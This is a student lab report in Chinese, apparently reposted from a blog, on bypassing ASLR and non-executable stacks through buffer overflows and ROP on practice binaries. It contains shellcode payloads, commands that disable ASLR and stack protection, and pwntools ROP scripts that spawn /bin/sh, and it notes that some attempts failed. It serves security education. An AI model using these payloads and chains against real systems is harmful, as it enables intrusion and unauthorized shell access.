ASLR,全称为 Address Space Layout Randomization,地址空间布局随机化,它将进程的某些内存空间地址进行随机化来增大入侵者预测目的地址的难度,从而降低进程被成功入侵的风险。简而言之,就是在运行程序时通过随机化栈地址,从而减低攻击者猜测到关键代码运行地址的可能,降低被攻击的风险。
Linux 平台上 ASLR 分为 0,1,2 三级,用户可以通过一个内核参数 randomize_va_space 进行等级控制。它们对应的效果如下:
0:没有随机化。即关闭 ASLR。
1:保留的随机化。共享库、栈、mmap() 以及 VDSO 将被随机化。
2:完全的随机化。在 1 的基础上,通过 brk() 分配的内存空间也将被随机化。
用一个简单的代码演示一下ALSR对栈地址的影响,代码如下:
#include <stdio.h>
int main()
{
int a = 1;
printf("Address of a is %p, in stack\n", &a);
return 0;
}
编译运行(这里我的Linux系统默认开启了地址随机化);查询和开启地址随机化的命令:
echo "2" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space
结果入下图:
通过使被攻击程序的数据段地址空间不可执行,从而使得攻击者不可能执行被植入被攻击程序输入缓冲区的代码,这种技术被称为非执行的缓冲区技术,即堆栈不可执行。实际上,绝大多数合法程序都是设置堆栈数据段不可执行,因为几乎所有合法程序都不会在堆栈中存放代码,这样既保证了安全性,又兼顾了程序使用。(演示放在实践内容中)
而ROP攻击则是利用以ret结尾的程序片段 ,操作这些栈相关寄存器,控制程的流程,执行相应的gadget,实施攻击者预设目标 。
与以往攻击技术不同的是,ROP恶意代码不包含任何指令,将自己的恶意代码隐藏在正常代码中。因而,它可以绕过W⊕X的防御技术。
本次试验由于需要用到[ROPgadget](https://github.com/JonathanSalwan/ROPgadget/tree/master)
,所以需要提前安装pip
,capstone
和pwntools
安装命令如下:
sudo apt-get update
sudo apt-get install pip
sudo pip install capstone
pip install ropgadget
ROPgadget
pip install pwntools
安装完成后需重启虚拟机。
过程简述:
cp pwn1 5313
execstack -s 5313 //设置堆栈可执行
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
构造一个字符串作为测试输入,寻找进程号,gdb调试找到覆盖地址,构造playload,攻击成功:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
(cat input_shellcode;cat) | ./5313
ps -ef | grep 5313
perl -e 'print "A" x 32;print "\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
(cat input_shellcode;cat) | ./5313
execstack -c 文件名
):
可以看出堆栈不可执行对于溢出攻击有一定的防范效果。
由上文可看出简单的在原本代码中利用堆栈溢出实施攻击的方法已经不可用了,所以我们利用ROP技术实施攻击。(基础知识里已经简绍了)这里用量组图简单解释一下:
攻击用的缓冲区 | 指向的内容 | 说明 |
---|---|---|
ptr3内存地址3(高地址) | system | |
ptr2内存地址2 | /bin/sh | |
ptr1内存地址1(低地址) | pop %rdi;retq | 覆盖堆栈上的返回地址 |
填充内容 | 这部分内容主要是长度要合适,保证ptr1能覆盖到返回地址 |
gadget_addr
指向的是程序中可以利用的小片段代码
bin_sh_addr
指向的是字符串参数:‘/bin/sh‘
system_addr
则指向system函数
1.程序运行到gadget_addr
时(esp/rsp
指向gadget_addr
),接下来会跳转到小片段里执行命令,同时``esp/rsp+8(
esp/rsp指向bin_sh_addr) 2.然后执行
pop rdi/edi,将
bin_sh_addr弹入
edi/rdi寄存器中,同时
esp/rsp + 8(
esp/rsp指向
system_addr) 3.执行
return指令,因为这时
esp/rsp是指向
system_addr的,这时就会调用
system函数,而参数是通过
edi/rdi传递的,也就是会将
/bin/sh传入,从而实现调用
system(‘/bin/sh‘)```
execstack -c 5313
输入gdb ./5313
之后,开始调试:
由第二步得到的system和/bin/sh的位置,编写payload并注入
#include <stdio.h>
#include <string.h>
void vul(char *msg)
{
char buffer[64];
memcpy(buffer,msg,128);
return;
}
int main()
{
puts("So plz give me your shellcode:");
char buffer[256];
memset(buffer,0,256);
read(0,buffer,256);
vul(buffer);
return 0;
}
使用命令gcc -g -ggdb -fno-stack-protector -no-pie a.c -o a
产生可执行文件。这里解释一下:-fno-stack-protector
在gcc编译中表示栈溢出检测。
libc
文件及地址:ldd a
libc
版本为:libc.so.6
libc_base = 0x00007f07ecbf2000
libc.so.6
拷贝到a同级目录:cp /lib/x86_64-linux-gnu/libc.so.6 你的目录ROPgadget --binary a --only "pop|ret"|grep rdi
from pwn import *
p = process('./a')
p.recvuntil("shellcode:")
elf = ELF('libc.so.6')
system_in_libc = elf.symbols['system'] #system在libc文件里的偏移地址
#print hex(system_in_libc)
bin_sh_in_libc = next(elf.search('/bin/sh')) #/'bin/sh'字符串在libc里的偏移地址
#print hex(bin_sh_in_libc)
libc_base = 0x00007f07ecbf2000 #libc加载的基址
gadget_addr = 0x000000000040123b #搜索到的gadget片段的地址
system_addr = libc_base + system_in_libc #system在程序里的地址
bin_sh_addr = libc_base + bin_sh_in_libc #/bin/sh在程序里的地址
print hex(system_addr) +'----'+hex(bin_sh_addr)
#布局
buf = 'A'*72
buf += p64(gadget_addr)
buf += p64(bin_sh_addr)
buf += p64(system_addr)
with open('poc','wb') as f :
f.write(buf)
p.sendline(buf) #开始溢出
p.interactive()
运行python b.py
:
可见攻击失败,推测可能是攻击代码有错漏,继续寻找解决方案。
成功获权,上一步未成功原因可能是地址寻找错误。
返回地址return_addr被覆盖为puts@plt地址,当运行到原返回地址位置时,会跳转到puts中执行,同时,esp指向esp+4,这时对puts来说,它内部的ret(返回地址)执行时esp指针还是指向esp+4的,也就是esp + 4(main)就是puts函数的返回地址,而esp+8(__libc_start_main@got.plt)则是它的参数。当调用puts时,__lic_start_main作为参数传入,这样我们就可以获得__libc_start_main在程序中的加载地址,当puts返回时会回到main函数当中,从而实现堆漏洞的二次利用。
objdump -R pwn02
查看__lic_start_main
地址(0x0804bfd8 ):objdump -d pwn02
查找puts@plt
(0x08048868)和main
( 0x80496d1)
from pwn import *
r = process('./pwn02')
def overflow(data):
r.recvuntil('Your choice: ')
r.sendline('3')
r.recvuntil('):')
r.sendline('+')
r.recvuntil('):')
r.sendline('1 2')
r.recvuntil('input your id')
r.sendline(data)
buf = 'A' * 44
buf += p32(0x08048868)
buf += p32(0x080496d1)
buf += p32(0x0804bfd8)
overflow(buf)
r.recvuntil('...\n')
leak_message = r.recv(4)
print repr(leak_message)
leak_value = u32(leak_message)
print 'leak_value is ' + hex(leak_value)
libc_base =leak_value - 0x000198B0
system_addr = libc_base + 0x0003D7E0
sh_addr = libc_base + 0x0017c968
buf = 'A' * 44
buf += p32(system_addr)
buf += p32(0xdeadbeef)
buf += p32(sh_addr)
overflow(buf)
r.interactive()
攻击失败,重新尝试。
这次参考的是:参考资料
漏洞代码:
include <stdio.h>
#include <string.h>
/* Eventhough shell() function isnt invoked directly, its needed here since 'system@PLT' and 'exit@PLT' stub code should be present in executable to successfully exploit it. */
void shell() {
system("/bin/sh");
exit(0);
}
int main(int argc, char* argv[]) {
int i=0;
char buf[256];
strcpy(buf,argv[1]);
printf("%s\n",buf);
return 0;
}
反汇编可见,其本身就有可利用的PLT代码(本身不因ALSR发生变化),因此可直接利用其获权。即直接利用一个在执行前就知道地址的获权函数。
本身的水平有限,做出来的结果并不是那么合乎要求。但通过这次实践,我还是收获不少,最重要的是,我逐渐学会了如何独自了解学习自己从来不了解的的知识,这对我的帮助无疑是最大的,继续努力。
原文:https://www.cnblogs.com/zch123456/p/10943007.html